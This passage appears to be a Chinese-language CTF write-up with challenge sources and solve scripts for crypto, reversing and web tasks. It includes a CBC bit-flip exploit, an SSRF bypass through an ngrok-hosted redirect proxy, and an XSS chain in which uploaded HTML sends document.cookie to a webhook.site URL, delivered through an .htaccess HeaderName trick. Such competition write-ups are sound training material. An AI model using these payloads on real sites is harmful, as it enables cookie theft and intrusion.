$$$$$$$*]" table = "!@#$%^&*(){}[]:;" binary = "" for c in ciphertext: idx = table.index(c) binary += f"{idx:04b} " plain = "" for i in range (0 , len (binary), 8 ): byte = binary[i:i+8 ] if len (byte) < 8 : break plain += chr (int (byte, 2 )) print (plain)
Yoshino’s Secret chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom secret import FLAGimport jsonimport osKEY = os.urandom(16 ) def encrypt (plaintext: bytes ) -> bytes : iv = plaintext[:16 ] cipher = AES.new(KEY, AES.MODE_CBC, iv) return iv + cipher.encrypt(pad(plaintext[16 :], AES.block_size)) def decrypt (ciphertext: bytes ) -> str : iv = ciphertext[:16 ] cipher = AES.new(KEY, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext[16 :]), AES.block_size) return plaintext def check (token ): try : token = bytes .fromhex(token) passkey = decrypt(token) data = json.loads(passkey) if data["admin" ]: print (f"Here is your flag: {FLAG} " ) exit() else : print ("Access Denied" ) except : print ("Hacker detected, emergency shutdown of the system" ) exit() def main (): passkey = b'{"admin":false,"id":"TomotakeYoshino"}' token = encrypt(os.urandom(16 ) + passkey) print (f"token: {token.hex ()} " ) while True : token = input ("token > " ) check(token) if __name__ == '__main__' : main()
要讓密文解密後 false 的地方變 true => bit flip 攻擊 exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *import jsonr = remote("chal.ctf.scint.org" , 12002 ) r.recvuntil(b"token: " ) token = bytes .fromhex(r.recvline().strip().decode()) iv = token[:16 ] ciphertext = token[16 :] false = b'false' true_ = b'true ' iv = bytearray (iv) for i in range (5 ): iv[9 + i] ^= false[i] ^ true_[i] new_token = bytes (iv) + ciphertext r.sendlineafter(b"token > " , new_token.hex ().encode()) r.interactive()
Speeded Block Cipher chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from secret import FLAGimport randomimport osKEY = os.urandom(16 ) IV = os.urandom(16 ) counter = 0 def pad (text: bytes ) -> bytes : padding = 16 - (len (text) % 16 ) return text + bytes ([padding]) * padding def shift_rows (B: list ): M = [B[i: i + 4 ] for i in range (0 , 16 , 4 )] M[0 ][1 ], M[1 ][1 ], M[2 ][1 ], M[3 ][1 ] = M[1 ][1 ], M[2 ][1 ], M[3 ][1 ], M[0 ][1 ] M[0 ][2 ], M[1 ][2 ], M[2 ][2 ], M[3 ][2 ] = M[2 ][2 ], M[3 ][2 ], M[0 ][2 ], M[1 ][2 ] M[0 ][3 ], M[1 ][3 ], M[2 ][3 ], M[3 ][3 ] = M[3 ][3 ], M[0 ][3 ], M[1 ][3 ], M[2 ][3 ] return bytes (M[0 ] + M[1 ] + M[2 ] + M[3 ]) def expand_key (K, PS ): for i in range (PS - 1 ): NK = [(~(x + y)) & 0xFF for x, y in zip (K[i], K[i + 1 ])] NK = [(x >> 4 ) | (x << 4 ) & 0xFF for x in NK] NK = shift_rows(NK) K.append(NK) return K[1 :] def add (plain_block: bytes , expand_key: bytes ) -> bytes : return bytes ([((x + 1 ) ^ y) & 0xff for x, y in zip (plain_block, expand_key)]) def encrypt (plaintext: bytes ) -> bytes : PS = len (plaintext) // 16 P = [plaintext[i: i + 16 ] for i in range (0 , PS * 16 , 16 )] K = expand_key([IV, KEY], PS) C = [] for i, B in enumerate (P): C.append(add(B, K[i])) return b"" .join(C) def main (): encrypted_flag = encrypt(pad(FLAG)).hex () print (f"Here is your encrypted flag: {encrypted_flag} " ) while True : plaintext = input ("encrypt(hex) > " ) plaintext = bytes .fromhex(plaintext) ciphertext = encrypt(pad(plaintext)).hex () print (f"ciphertext: {ciphertext} " ) if __name__ == '__main__' : main()
同個 process 的 IV KEY 是固定的,所以 expand_key 也是固定的 加密邏輯是明文pad後,逐 byte (明文char + 1) XOR expand_key 所以明文都 0,讓密文每 byte 都是 expand_key XOR 1 flag 是三個 block,所以輸入 0 也三個 block,密文第四個 block 是 padding 加密產生的,取前三 block 就好 用密文得到 key 再拿來解密 flag
Reverse 西 chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdint.h> #include <string.h> #define 掐 char #define 伊恩窺皮特_弗雷格 enrypted_flag #define 等於 = #define 佛以德 void #define 低窺皮特 decrypt #define 哀恩踢 int #define 小於 < #define 恩 n #define 佛 for #define 哀 i #define 加加 ++ #define 立蘿 0 #define 欸殼斯偶爾等於 ^= #define 欸服費 0xF5 #define 面 main #define 衣服 if #define 欸斯踢阿鏈 strlen #define 鋪因特欸服 printf #define 趴欸斯 "%s" 掐 伊恩窺皮特_弗雷格[] 等於 "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88" ; 佛以德 低窺皮特(哀恩踢 恩) { 佛 (哀恩踢 哀 等於 立蘿; 哀 小於 恩; 哀 加加) { 伊恩窺皮特_弗雷格[哀] 欸殼斯偶爾等於 欸服費; } } 哀恩踢 面() { 衣服 (立蘿) { 低窺皮特(欸斯踢阿鏈(伊恩窺皮特_弗雷格)); } 鋪因特欸服(趴欸斯, 伊恩窺皮特_弗雷格); }
還原
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <stdint.h> #include <string.h> char enrypted_flag[] = "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88" ;void decrypt (int n) { for (int i = 0 ; i < n; i ++) { enrypted_flag[i] ^= 0xF5 ; } } int main () { if (1 ) { decrypt(strlen (enrypted_flag)); } printf ("%s" , enrypted_flag); }
time_GEM 進 power,F5 把 sleep 秒數 patch 成 0 apply patch 執行 patch 後的
Python Hunter 🐍 把 hunter.cpython-38.pyc 放到 https://pylingual.io/ 轉 py hunter.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import sys as sdef qwe (abc, xyz ): r = [] l = len (xyz) for i in range (len (abc)): t = chr (abc[i] ^ ord (xyz[i % l])) r.append(t) return '' .join(r) d = [48 , 39 , 37 , 49 , 28 , 16 , 82 , 17 , 87 , 13 , 92 , 71 , 104 , 52 , 21 , 0 , 83 , 7 , 95 , 28 , 55 , 30 , 11 , 78 , 87 , 29 , 18 ] k = 'door_key' m = 'not_a_key' def asd (p ): u = 42 v = qwe(d, k) w = qwe(d, p) if w == v: print (f'Correct! {v} ' ) else : print ('Wrong!' ) def dummy (): return len (d) * 2 - 1 if __name__ == '__main__' : if len (s.argv) > 1 : asd(s.argv[1 ]) else : print ('Please provide a key as an argument.' ) dummy()
直接執行說需要參數 key
Flag Checker 進 main,F5 先把每個輸入字元做一個循環左位移(ROL)和右位移(ROR)混合,然後再 XOR 0xF 然後要讓 sub_11C9(s) return 1 三個三個一組,用 dword_4020 求出 a1
1 2 3 4 5 a[i] + a[i+1] = d[i] a[i+1] + a[i+2] = d[i+1] a[i] + a[i+2] = d[i+2] a0+a1+a2 = (d0+d1+d2)/2 = sum a0 = sum-d1 = (d0-d1+d2)/2
求出可以讓 sub_11C9(s) return 1 的 a1 後再回推位移 exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def ROR (val, rbits ): return ((val >> rbits) | (val << (8 - rbits))) & 0xFF dword_4020 = [ 0xFA , 0xC5 , 0x81 , 0x50 , 0x9B , 0x75 , 0x72 , 0x6D , 0xA5 , 0xB5 , 0x100 , 0xD1 , 0x171 , 0x1C1 , 0x160 , 0x13B , 0x163 , 0x1A2 , 0xF7 , 0x167 , 0x184 , 0x155 , 0x174 , 0x121 , 0xD1 , 0x8D , 0x80 , 0x181 , 0x174 , 0x1DD , 0x50 , 0x00 , 0x50 ] x = [] for i in range (0 , 33 , 3 ): d0 = dword_4020[i] d1 = dword_4020[i+1 ] d2 = dword_4020[i+2 ] a = (d0 - d1 + d2) // 2 b = d0 - a c = d1 - b x.extend([a, b, c]) s = '' for i in range (len (x)): decrypted = ROR(x[i] ^ 0xF , i & 7 ) s += chr (decrypted) print ("flag:" , s)
Noo dle chal main,F5 要從output回推輸入(flag) (變數重新命名後)(__int64)&len8 + 4
= v8[12]
encrypt() 會把輸入 expand 再 swap 再 compress 把輸入每一 byte 的 8 bit 都展開放在 8 bytes 把每個展開的 8 bit 壓縮回 1 byte 把加密結果(bytes)轉 hex str 而已
所以,把輸出轉 bytes 然後逐步推回輸入
exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from binascii import unhexlifycipher_hex = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee" cipher_bytes = bytearray (unhexlify(cipher_hex)) cipher_bits = [] for byte in cipher_bytes: for i in range (8 ): bit = (byte >> (7 - i)) & 1 cipher_bits.append(bit) def reverse_swap (bits ): for i in range (0 , len (bits), 8 ): if i + 7 >= len (bits): break bits[i + 0 ], bits[i + 7 ] = bits[i + 7 ], bits[i + 0 ] bits[i + 1 ], bits[i + 4 ] = bits[i + 4 ], bits[i + 1 ] bits[i + 2 ], bits[i + 5 ] = bits[i + 5 ], bits[i + 2 ] bits[i + 3 ], bits[i + 6 ] = bits[i + 6 ], bits[i + 3 ] return bits swapped_bits = reverse_swap(cipher_bits) plain_bytes = bytearray () for i in range (0 , len (swapped_bits), 8 ): byte = 0 for j in range (8 ): if i + j < len (swapped_bits): byte |= (swapped_bits[i + j] << (7 - j)) plain_bytes.append(byte) print (plain_bytes)
Empty 入口點像在脫殼,因為不斷對 sub_1060() XOR sub_1060() 脫殼前都是空的
開 gdb 在脫殼後下斷點,就可以看到脫殼後的 sub_1060() 先記錄幾個 offset 0x110a => start() 0x11e9 => 脫殼完 0x1060 => sub1060() 用 vmamp 取得基址 確認脫殼前 sub_1060() 都是 nop 按 c 到脫殼完,可以看到 sub_1060() 正常了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 gef➤ x/100i 0x555555555060 => 0x555555555060: endbr64 0x555555555064: push rbp 0x555555555065: mov rbp,rsp 0x555555555068: sub rsp,0x30 0x55555555506c: mov rax,QWORD PTR fs:0x28 0x555555555075: mov QWORD PTR [rbp-0x8],rax 0x555555555079: xor eax,eax 0x55555555507b: mov QWORD PTR [rbp-0x20],0x0 0x555555555083: mov QWORD PTR [rbp-0x18],0x0 0x55555555508b: mov BYTE PTR [rbp-0x10],0x0 0x55555555508f: lea rax,[rip+0xf6a] # 0x555555556000 0x555555555096: mov rdi,rax 0x555555555099: mov eax,0x0 0x55555555509e: call 0x555555555030 <printf@plt> 0x5555555550a3: lea rax,[rbp-0x20] 0x5555555550a7: mov rsi,rax 0x5555555550aa: lea rax,[rip+0xf5b] # 0x55555555600c 0x5555555550b1: mov rdi,rax 0x5555555550b4: mov eax,0x0 0x5555555550b9: call 0x555555555040 <__isoc99_scanf@plt> 0x5555555550be: mov DWORD PTR [rbp-0x28],0x0 0x5555555550c5: jmp 0x555555555107 0x5555555550c7: mov eax,DWORD PTR [rbp-0x28] 0x5555555550ca: cdqe 0x5555555550cc: movzx eax,BYTE PTR [rbp+rax*1-0x20] 0x5555555550d1: xor eax,0xffffffab 0x5555555550d4: mov ecx,eax 0x5555555550d6: mov eax,DWORD PTR [rbp-0x28] 0x5555555550d9: cdqe 0x5555555550db: lea rdx,[rip+0x2f1e] # 0x555555558000 0x5555555550e2: movzx eax,BYTE PTR [rax+rdx*1] 0x5555555550e6: cmp cl,al 0x5555555550e8: je 0x555555555103 0x5555555550ea: lea rax,[rip+0xf20] # 0x555555556011 0x5555555550f1: mov rdi,rax 0x5555555550f4: call 0x555555555010 <puts@plt> 0x5555555550f9: mov edi,0x0 0x5555555550fe: call 0x555555555050 <exit@plt> 0x555555555103: add DWORD PTR [rbp-0x28],0x1 0x555555555107: cmp DWORD PTR [rbp-0x28],0xf 0x55555555510b: jle 0x5555555550c7 0x55555555510d: lea rax,[rip+0xf04] # 0x555555556018 0x555555555114: mov rdi,rax 0x555555555117: call 0x555555555010 <puts@plt> 0x55555555511c: mov DWORD PTR [rbp-0x24],0x0 0x555555555123: jmp 0x55555555515f 0x555555555125: mov eax,DWORD PTR [rbp-0x24] 0x555555555128: cdqe 0x55555555512a: lea rdx,[rip+0x2eef] # 0x555555558020 0x555555555131: movzx ecx,BYTE PTR [rax+rdx*1] 0x555555555135: mov eax,DWORD PTR [rbp-0x24] 0x555555555138: cdq 0x555555555139: shr edx,0x1c 0x55555555513c: add eax,edx 0x55555555513e: and eax,0xf 0x555555555141: sub eax,edx 0x555555555143: cdqe 0x555555555145: movzx eax,BYTE PTR [rbp+rax*1-0x20] 0x55555555514a: xor ecx,eax 0x55555555514c: mov eax,DWORD PTR [rbp-0x24] 0x55555555514f: cdqe 0x555555555151: lea rdx,[rip+0x2ec8] # 0x555555558020 0x555555555158: mov BYTE PTR [rax+rdx*1],cl 0x55555555515b: add DWORD PTR [rbp-0x24],0x1 0x55555555515f: mov eax,DWORD PTR [rbp-0x24] 0x555555555162: cmp eax,0x24 0x555555555165: jbe 0x555555555125 0x555555555167: lea rax,[rip+0x2eb2] # 0x555555558020 0x55555555516e: mov rsi,rax 0x555555555171: lea rax,[rip+0xea9] # 0x555555556021 0x555555555178: mov rdi,rax 0x55555555517b: mov eax,0x0 0x555555555180: call 0x555555555030 <printf@plt> 0x555555555185: mov eax,0x0 0x55555555518a: mov rdx,QWORD PTR [rbp-0x8] 0x55555555518e: sub rdx,QWORD PTR fs:0x28 0x555555555197: je 0x55555555519e 0x555555555199: call 0x555555555020 <__stack_chk_fail@plt> 0x55555555519e: leave 0x55555555519f: ret 0x5555555551a0: lea rsi,[rip+0xfffffffffffffeb9] # 0x555555555060 0x5555555551a7: mov rdi,rsi 0x5555555551aa: and rdi,0xfffffffffffff000 0x5555555551b1: mov rsi,0x1000 0x5555555551b8: mov rdx,0x7 0x5555555551bf: mov rax,0xa 0x5555555551c6: syscall 0x5555555551c8: lea rsi,[rip+0xfffffffffffffe91] # 0x555555555060 0x5555555551cf: mov rcx,0x13e 0x5555555551d6: lea rdi,[rip+0x2e68] # 0x555555558045 0x5555555551dd: mov al,BYTE PTR [rdi] 0x5555555551df: xor BYTE PTR [rsi],al 0x5555555551e1: inc rsi 0x5555555551e4: inc rdi 0x5555555551e7: loop 0x5555555551dd 0x5555555551e9: call 0x555555555060 0x5555555551ee: mov rax,0x3c 0x5555555551f5: xor rdi,rdi 0x5555555551f8: syscall 0x5555555551fa: add BYTE PTR [rax],al
分析 sub_1060() 看存取的位置是什麼data 把此時的記憶體dump下來 empty_dump 雖然不是正確ELF格式,但還是可以丟ida offset 0x4000 對應到 0x555555558000,在剛剛的gdb中,這些在執行 sub_1060() 時已經被改成亂碼
根據反編譯的結果,只要輸入正確密碼,就會算出flag
1 2 3 offset4000 = [0xea ,0xc0 ,0xc2 ,0xd1 ,0xde ,0xc0 ,0xc2 ,0xe0 ,0xca ,0xc5 ,0xc5 ,0xca ,0x9a ,0x9b ,0x9e ,0x9b ] password = '' .join([chr (x ^ 0xab ) for x in offset4000]) print (password)
AkizukiKanna1050
Demon Summoning Ancient_Parchment 打開都是亂碼 chal.exe 直接執行 然後再按一下就關閉
用ida開 main,函數名稱都看不出是什麼,一個一個點進去看,用 windows api 的名稱和執行時的狀況猜測函數用途 (以下都是函數、變數重新命名過) 字串對照 根據 main,要讓 open_read() 是 false,才會去新增並寫檔,推測新增的檔案與flag有關
傳入參數是一個 buffer 開 AbyssalCircle/Melon_Bun
,把內容讀到 buffer 開 AbyssalCircle/Ancient_Parchment
,把內容(亂碼)讀到 &cipher 如果 buffer 內容是 Satania's favorite
,就回傳 0
先把 cipher 解密,然後新增檔案,把解密後的cipher寫入
所以,跟 chal.exe 同目錄下新增一個資料夾 AbyssalCircle
,把題目給的 Ancient_Parchment
放進去,並在裡面新增 Melon_Bun
再次執行 chal.exe 多出 png
Feedback 填完表單,解base64,取得圖片
賽後解出 (web) proxy | under_development 開放在外網的http://chal.ctf.scint.org:10068/
是 proxy/release/src/
在內網的 secret.flag.thjcc.tw
是 proxy/release/flag/
src/app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 const express = require ('express' );const http = require ('http' );const https = require ('https' );const path = require ('path' );const urlModule = require ('url' );const dns = require ('dns' );const { http : followHttp, https : followHttps } = require ('follow-redirects' );const app = express ();app.use (express.json ()); app.use (express.static (path.join (__dirname, 'public' ))); app.get ('/' , (req, res ) => { res.sendFile (path.join (__dirname, 'public' , 'index.html' )); }); function CheckSeheme (scheme ) { return scheme.startsWith ('http://' ) || scheme.startsWith ('https://' ); } app.get ('/fetch' , (req, res ) => { const scheme = req.query .scheme ; const host = req.query .host ; const path = req.query .path ; if (!scheme || !host || !path) { return res.status (400 ).send ('Missing parameters' ); } const client = scheme.startsWith ('https' ) ? followHttps : followHttp; const fixedhost = 'extra-' + host + '.cggc.chummy.tw' ; if (CheckSeheme (scheme.toLocaleLowerCase ().trim ())) { return res.send ('Development in progress! Service temporarily unavailable!' ); } const url = scheme + fixedhost + path; const parsedUrl = new urlModule.URL (url); dns.lookup (parsedUrl.hostname , { timeout : 3000 }, (err, address, family ) => { if (err) { console .log ('DNS lookup failed!' ); } if (address == '172.32.0.20' ) { return res.status (403 ).send ('Sorry, I cannot access this host' ); } }); if (parsedUrl.hostname .length < 13 ) { return res.status (403 ).send ('My host definitely more than 13 characters, Evil url go away!' ); } client.get (url, (response ) => { let data = '' ; response.on ('data' , (chunk ) => { data += chunk; }); response.on ('end' , () => { res.send (data); }); }).on ('error' , (err ) => { res.status (500 ).send ('Failed to fetch data from the URL' ); }); }); app.listen (3000 , '0.0.0.0' , () => { console .log ('Server running on http://0.0.0.0:3000' ); });
flag/app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const express = require ("express" );const { FLAG } = require ("./secret" );const app = express ();app.get ('/flag' , (req, res ) => { if (req.path === '/flag' ){ return res.send ('I have said the service is temporarily unavailable now! (;′⌒`)' ); } if (req.hostname === 'secret.flag.thjcc.tw' ) return res.send (FLAG ); else return res.send ('Sorry, you are not allowed to access this page (;′⌒`)' ); }); app.listen (80 , 'secret.flag.thjcc.tw' );
bypass
https:/
繞過 CheckSeheme()
@
截斷前面,/?
截斷後面,兩者之間就會解析為 hostname
自己架一個 proxy 放在 hostname,proxy 會重導向到 secret.flag.thjcc.tw/flag
使 dns.lookup() 不會解析出 172.32.0.20(secret.flag.thjcc.tw),並且因為
1 const client = scheme.startsWith('https' ) ? followHttps : followHttp;
client.get() 會自動跟隨重導向
proxy.py
1 2 3 4 5 6 7 8 9 10 11 from flask import Flask, redirect, url_forapp = Flask(__name__) @app.route('/' ) def home (): return redirect("http://secret.flag.thjcc.tw/flag/" ) if __name__ == "__main__" : app.run(debug=True ,host='0.0.0.0' ,port=48763 )
用 ngrok 讓外網可以存取 http://127.0.0.1:48763
└─$ ngrok http 48763
用 /flag/
繞過 if (req.path === '/flag')
,path 參數不留空就好
最終 payload http://chal.ctf.scint.org:10068/fetch?scheme=http:&host=@f12a-111-83-236-102.ngrok-free.app/?&path=1
(web) iCloud☁️ bot/app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const puppeteer = require ("puppeteer" );const FLAG = process.env .FLAG || "THJCC{fake_flag}" ;const SITE_URL = process.env .SITE_URL || "http://web/" ;const sleep = async (s ) => new Promise ((resolve ) => setTimeout (resolve, 1000 * s)); const visit = async (url ) => { let browser; try { browser = await puppeteer.launch ({ headless : true , args : ["--disable-gpu" , "--no-sandbox" ], executablePath : "/usr/bin/chromium-browser" , }); const context = await browser.createIncognitoBrowserContext (); const page = await context.newPage (); await sleep (1 ); await page.setCookie ({ name : "flag" , value : FLAG , domain : "web" }); await sleep (1 ); await page.goto (url, { waitUntil : "networkidle0" }); await sleep (5 ); await page.close (); } catch (e) { console .log (e); } finally { if (browser) await browser.close (); } }; module .exports = visit;
bot/bot.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const puppeteer = require ("puppeteer" );const FLAG = process.env .FLAG || "THJCC{fake_flag}" ;const SITE_URL = process.env .SITE_URL || "http://web/" ;const sleep = async (s ) => new Promise ((resolve ) => setTimeout (resolve, 1000 * s)); const visit = async (url ) => { let browser; try { browser = await puppeteer.launch ({ headless : true , args : ["--disable-gpu" , "--no-sandbox" ], executablePath : "/usr/bin/chromium-browser" , }); const context = await browser.createIncognitoBrowserContext (); const page = await context.newPage (); await sleep (1 ); await page.setCookie ({ name : "flag" , value : FLAG , domain : "web" }); await sleep (1 ); await page.goto (url, { waitUntil : "networkidle0" }); await sleep (5 ); await page.close (); } catch (e) { console .log (e); } finally { if (browser) await browser.close (); } }; module .exports = visit;
web/apache2.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 DefaultRuntimeDir ${APACHE_RUN_DIR} PidFile ${APACHE_PID_FILE} Timeout 300 KeepAlive On MaxKeepAliveRequests 100 KeepAliveTimeout 5 User ${APACHE_RUN_USER} Group ${APACHE_RUN_GROUP} HostnameLookups Off ErrorLog ${APACHE_LOG_DIR} /error.logLogLevel warnIncludeOptional mods-enabled/*.loadIncludeOptional mods-enabled/*.confInclude ports.conf<Directory /> Options FollowSymLinks AllowOverride None Require all denied </Directory> <Directory /usr/share> AllowOverride None Require all granted </Directory> <Directory /var/www/> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> <DirectoryMatch ^/var/www/html/uploads/.+> Options +Indexes AllowOverride FileInfo DirectoryIndex disabled <FilesMatch "^.*\.ph.*$" > SetHandler none ForceType text/html Header set Content-Type "text/html" </FilesMatch> </DirectoryMatch> AccessFileName .htaccess<FilesMatch "^\.ht" > Require all denied </FilesMatch> LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combinedLogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combinedLogFormat "%h %l %u %t \"%r\" %>s %O" commonLogFormat "%{Referer}i -> %U" refererLogFormat "%{User-agent}i" agentIncludeOptional conf-enabled/*.confIncludeOptional sites-enabled/*.conf
web/index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>File Upload</title> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet" > </head> <body> <div class ="container mt -5"> <h2 >Upload File </h2 > <form action ="upload .php " method ="post " enctype ="multipart /form -data "> <div class ="form -group "> <label for ="file ">Choose file </label > <input type ="file " class ="form -control -file " id ="file " name ="file "> </div > <button type ="submit " class ="btn btn -primary ">Upload </button > </form > </div > <script src ="https ://code .jquery .com /jquery -3.5.1.slim .min .js "></script > <script src ="https ://cdn .jsdelivr .net /npm /@popperjs /core @2.5.4/dist /umd /popper .min .js "></script > <script src ="https ://stackpath .bootstrapcdn .com /bootstrap /4.5.2/js /bootstrap .min .js "></script > </body > </html >
web/report.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php $BOT_PORT = getenv ("BOT_PORT" ) ?: 8080 ;$BOT_HOST = getenv ("BOT_HOST" ) ?: "bot" ;$SITE_URL = getenv ("SITE_URL" ) ?: "http://web/" ;$response = null ;if ($_SERVER ["REQUEST_METHOD" ] === "POST" ) { if (!isset ($_POST ["url" ]) || empty ($_POST ["url" ])) { $response = "Invalid URL" ; } else { $url = $_POST ["url" ]; $pattern = "/^" . preg_quote ($SITE_URL , "/" ) . "uploads\/[^\/]+\/?$/" ; if (!preg_match ($pattern , $url )) { $response = "Invalid URL" ; } else { try { $client = stream_socket_client ("tcp://$BOT_HOST :$BOT_PORT " , $errno , $errstr , 5 ); if (!$client ) { throw new Exception ("Failed to connect: $errstr ($errno )" ); } fwrite ($client , $url ); $response = "" ; while (!feof ($client )) { $response .= fgets ($client , 1024 ); } fclose ($client ); } catch (Exception $e ) { error_log ($e ->getMessage ()); $response = "Something is wrong..." ; } } } } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Report to Admin</title> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet" > </head> <body> <div class ="container mt -5"> <h2 >Report to Admin </h2 > <form method ="post " enctype ="multipart /form -data "> <div class ="form -group "> <label for ="url ">Enter url </label > <input type ="text " class ="form -control -file " id ="url " name ="url "> </div > <button type ="submit " class ="btn btn -primary ">Report </button > </form > <?php if ($response !== null ): ?> <br > <div style ="border -width : 3px ;border -style : solid ; border -radius : 10px ;padding : 10px ;"> <h3 >Result :</h3 > <pre ><?php echo htmlspecialchars ($response , ENT_QUOTES , 'UTF -8'); ?></pre > </div > <?php endif ; ?> </div > <script src ="https ://code .jquery .com /jquery -3.5.1.slim .min .js "></script > <script src ="https ://cdn .jsdelivr .net /npm /@popperjs /core @2.5.4/dist /umd /popper .min .js "></script > <script src ="https ://stackpath .bootstrapcdn .com /bootstrap /4.5.2/js /bootstrap .min .js "></script > </body > </html >
web/upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if ($_SERVER ['REQUEST_METHOD' ] == 'POST' ) { if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] == 0 ) { $uploadDir = 'uploads/' ; $filesize = 10 * 1024 * 1024 ; $randomString = bin2hex (random_bytes (8 )); $uploadPath = $uploadDir . $randomString . '/' ; $uploadFile = $uploadPath . basename ($_FILES ['file' ]['name' ]); if ($_FILES ['file' ]['size' ] > $filesize ){ echo "YOASOBI (your file so big)" ; }else { mkdir ($uploadPath , 0777 , true ); if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadFile )) { echo "File successfully uploaded." ; echo '<br>' ."<a href=/$uploadFile >$uploadFile </a>" ; } else { echo "File upload failed." ; } } } else { echo "No file uploaded or there was an error uploading the file." ; } } else { echo "Invalid request method." ; } ?>
上傳 test.html 會出現在像是http://chal.ctf.scint.org/uploads/30f9c0fc015a9ad4/test.html
但 report.php 和 bot 只接受路徑 ^http://web/uploads/[^/]+/?$
=> uploads/ 後面只能有 1或0 個 /
=> 只能像是 http://web/uploads/30f9c0fc015a9ad4/
bot 會給此路徑 set-cookie 為 FLAG
快速解:^http://web/uploads/[^/]+/?$
可用 \
替代 /
繞過 payload http://web/uploads/032a0ae2eb64fa2c\solve.html
預期解攻擊原理:
1 2 3 4 5 6 7 8 9 10 <DirectoryMatch ^/var/www/html/uploads/.+> Options +Indexes AllowOverride FileInfo DirectoryIndex disabled <FilesMatch "^.*\.ph.*$"> SetHandler none ForceType text/html Header set Content-Type "text/html" </FilesMatch> </DirectoryMatch>
.htaccess 可覆寫,且有開 +Indexes => 上傳 .htaccess
,用 HeaderName [path]
讓之前上傳的 html 作為 Indexes 的標題 ex. html 內容是 <h1>Hello World</h1>
=> bot 瀏覽 .htaccess 的路徑 http://web/uploads/balabala/
時就會執行那個 html 裡面的偷cookie JS
攻擊步驟: 先上傳 solve.html => uploads/032a0ae2eb64fa2c/solve.html
1 <script>fetch ('https://webhook.site/d93341e1-e5f3-45e3-9245-7961683d3bb8?c=' +document .cookie )</script>
再上傳 .htaccess => uploads/30f9c0fc015a9ad4/.htaccess
1 HeaderName ../032a0ae2eb64fa2c/solve.html
開 http://chal.ctf.scint.org/uploads/30f9c0fc015a9ad4/
確認有偷到 cookie 給 report.php
(pwn)Bank Clerk chal.c
